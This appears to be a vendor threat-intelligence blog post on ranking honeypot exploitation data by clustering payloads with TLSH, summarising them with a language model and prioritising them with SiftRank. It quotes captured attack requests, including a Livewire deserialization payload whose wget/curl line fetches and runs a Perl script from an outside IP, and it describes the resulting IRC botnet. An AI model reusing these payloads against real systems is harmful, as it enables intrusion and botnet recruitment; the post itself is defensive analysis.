SiftRanking Canary Intelligence

Introduction

On a typical day, VulnCheck Canary Intelligence captures thousands of active exploitation attempts targeting production systems. Within that volume are routine patterns, evolving tradecraft, and occasionally something that demands immediate scrutiny. The problem is knowing which is which.

Customers regularly ask how VulnCheck intelligence can be integrated into AI-driven workflows. Prioritization is a natural starting point. Caleb Gross’ SiftRank, introduced in "Sift or Get Off the PoC: Applying Information Retrieval to Vulnerability Research with SiftRank", provides a practical way to rank exploitation activity and surface the entries that warrant deeper investigation.

Ranking Requires Preprocessing

Two constraints become immediately apparent.

First, SiftRank operates on natural language. Canary Intelligence does not. It consists of JSON records, raw HTTP requests, serialized payloads, and exploit artifacts. Feeding that directly into SiftRank produces unreliable output.

Second, scale introduces inefficiency. A 10-day Canary export contains tens of thousands of exploitation attempts. Attackers routinely reuse scanners and exploit templates, which results in substantial payload similarity across entries. Ranking each variation independently increases processing cost without adding new insight.

Before SiftRank could be useful, the data had to be transformed.

Clustering Similar Payloads with TLSH

The first preprocessing step is to cluster similar payloads using TLSH, a locality sensitive hashing algorithm designed for fuzzy similarity comparisons. TLSH does not attempt semantic understanding. Instead, it groups payloads based on structural similarity, which is sufficient to collapse minor variations of the same exploit pattern.

The following two payloads were observed within the same 10-day Canary export. They target the same endpoint and use the same JSON structure, but differ in the specific values supplied during exploitation:

POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: VC_REDACTED
User-Agent: python-cli
Content-Type: application/json

{"hubAddress": "http://138.4.32.1:8082", "oneTimePassword": "pwn", "nodeName": "victim-1771971513"}

POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: VC_REDACTED
User-Agent: python-cli
Content-Type: application/json

{"hubAddress": "http://138.4.32.1:8082", "oneTimePassword": "test", "nodeName": "tests"}

An exact hash treats these as unrelated strings. Under a similarity threshold of 75, TLSH produces a distance of 43 between these two payloads and places them into the same cluster. From a prioritization perspective, ranking both independently adds cost without adding insight. They represent the same underlying exploitation pattern.

For each decoded payload, a TLSH hash is generated when sufficient data is available:

if len(payload) > 50:
    try:
        tlsh_hash = tlsh.hash(payload.encode())
    except:
        pass

Payloads were then grouped by similarity threshold:

dist = tlsh.diff(tl, members[0]["_tlsh"])
if dist < TLSH_THRESHOLD:
    members.append(r)

After clustering, the dataset is reduced from approximately 70,000 raw entries to roughly 1,400 representative clusters suitable for ranking. Ranking becomes computationally tractable and no longer dominated by repeated exploit templates.

Normalizing Exploitation into Language

With structural duplication addressed, the next challenge is translating exploit traffic into something SiftRank can understand. Raw exploitation payloads are anything but. They are transport artifacts composed of HTTP headers, JSON bodies, encoded commands, and infrastructure references, all structured for client-server communication.

To make the payloads usable for ranking, they must be translated into concise descriptions. Before doing so, structured features are extracted from each clustered record to anchor the description in observable behavior rather than raw syntax.

From each Canary entry, the preprocessing stage attempts to extract:

• Referenced CVE identifiers
• HTTP method and content type
• Indicators of command execution such as curl, wget, gsocket, echo, base64, or PowerShell
• Extracted C2 IP address and port
• Observed frequency of the attacker source

These features provide context that raw request text alone does not reliably convey. Rather than asking a language model to interpret unstructured payload data, the model receives both the payload and a distilled set of behavioral signals.

Each clustered record is then sent to OpenAI using a constrained prompt that requests a concise description of:

• The apparent vulnerability being targeted
• The exploitation technique
• Any post-exploitation behavior
• Referenced infrastructure

The goal is not to generate prose. It is to produce short, comparable descriptions that capture intent.

For example, the following description was generated from a clustered record within the 10-day Canary backup:

The observed exploit attempt targeting CVE-2023-26801 utilizes an HTTP POST request to the endpoint /goform/set_LimitClient_cfg, injecting parameters that include a command to download and execute a malicious script from an external server. The payload retrieves a file from http://basic1997.duckdns.org:8443/o, changes its permissions to 777, executes it, and subsequently deletes it along with any related files. This activity was exclusively sourced from Germany and directed towards the United States, with a total of 9 occurrences out of 10,703 requests, indicating a rare but focused exploitation effort leveraging the identified external infrastructure.

These normalized descriptions become the input to SiftRank.

Ranking Normalized Exploitation with SiftRank

With approximately 1,400 clustered records translated into descriptions, the dataset is ready for ranking.

SiftRank is applied across the full set of generated descriptions using a prompt designed to prioritize investigative value rather than raw frequency. The goal is comparative scoring, not classification.

The ranking prompt explicitly defines what “interesting” means:

You are a senior threat intelligence analyst prioritizing activity for investigation.

Rank the following items according to investigative value and actionable intelligence.

Prioritize items that:
- Use external C2 infrastructure that appears novel or not widely commoditized
- Download or execute secondary payloads
- Show infrastructure reuse suggesting an active campaign
- Demonstrate operator-controlled tradecraft
- Provide infrastructure suitable for pivoting or attribution

Deprioritize items that:
- Represent legacy or widely commoditized botnet malware
- Reflect repetitive mass scanning or exploit spray behavior
- Use long-standing recycled infrastructure
- Appear to be background internet noise

Do not rank purely by prevalence. Favor novelty, leverage, infrastructure value, and investigative opportunity

SiftRank is then invoked directly against the generated descriptions:

/go/bin/siftrank -f ./canary-sentences -o sift-out.json -p @prompt

On a 10-day Canary export reduced to approximately 1,400 clustered records, the ranking process completed in roughly eight minutes.

What Rose to the Top

Among the highest ranked entries were several unique XWiki and React2Shell exploitations. Just below those, at number four, was a Livewire exploitation cluster. The normalized description for that activity reads:

The exploit targeting CVE-2025-54068 leverages a crafted HTTP POST request to the /livewire/update endpoint, injecting a serialized PHP object that facilitates remote code execution (RCE) through untrusted data handling. The payload includes commands to retrieve and execute a secondary payload from the external IP 61.14.210.71, utilizing tools like wget and curl. This activity has been observed in a limited capacity, with only 10 occurrences, predominantly originating from Indonesia (6) and South Korea (3), and targeting Brazil (4), India (4), and the UK (2).

The actual payload, which followed an initial GET / request to verify that the target was running Livewire, contained a serialized PHP object chain designed to invoke system commands. Truncated for readability, the relevant portion is shown below:

POST /livewire/update HTTP/1.1
Host: VC_REDACTED
User-Agent: python-requests/2.32.4
Content-Type: application/json

...
"extensions";a:1:{s:0:"";s:6:"system";}
...
"wget -qO - 61.14.210.71/.j/sus|perl ; curl -s 61.14.210.71/.j/sus|perl"
...

This was not a simple probe. The injected command retrieves and executes a secondary payload hosted on attacker-controlled infrastructure.

That payload is a fully featured Perl-based IRC bot. Once executed, it connects to 178.63.42.199 on TCP port 88, joins a predefined IRC channel, and exposes a broad command surface that includes UDP, TCP, and HTTP flooding, port scanning, SQL scanning, reverse shell functionality, and log wiping routines. In effect, the objective is to convert the vulnerable host into an actively managed botnet node.

Under the SiftRank criteria, this entry rose to the top because it combines external C2 infrastructure, a substantial secondary payload suitable for reverse engineering, and pivotable IP artifacts that enable clustering and campaign tracking. It reflects operator-directed tradecraft rather than indiscriminate exploit spray behavior.

This type of activity is exactly what Canary is intended to surface. In this case, coverage for the Livewire CVE itself was requested by a customer, which makes the observed exploitation especially relevant. The ranking elevated it not because it was frequent, but because it provided actionable infrastructure and clear operator intent.

Conclusion

At VulnCheck, we collect exploitation telemetry, vulnerability intelligence, exploit data, internet-wide scanning results, and conduct original vulnerability research, all of which can be structured and fed directly into AI-driven workflows to prioritize threats, guide analyst tasks, and focus research on what carries operational value.

The opportunity is simple: use the data. Let the model help you decide where to start.

About VulnCheck

VulnCheck’s research team tracks real-world exploitation, attacker infrastructure, and exploit workflows using our Canary Intelligence, Exploit & Vulnerability Intelligence (EVI), and IP Intelligence datasets. For more research like this check out our blogs, Frost Checks First, The Mystery OAST Host Behind a Regionally Focused Exploit Operation, and XWiki Under Increased Attack.

Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, Canary Intelligence, and Exploit & Vulnerability Intelligence products.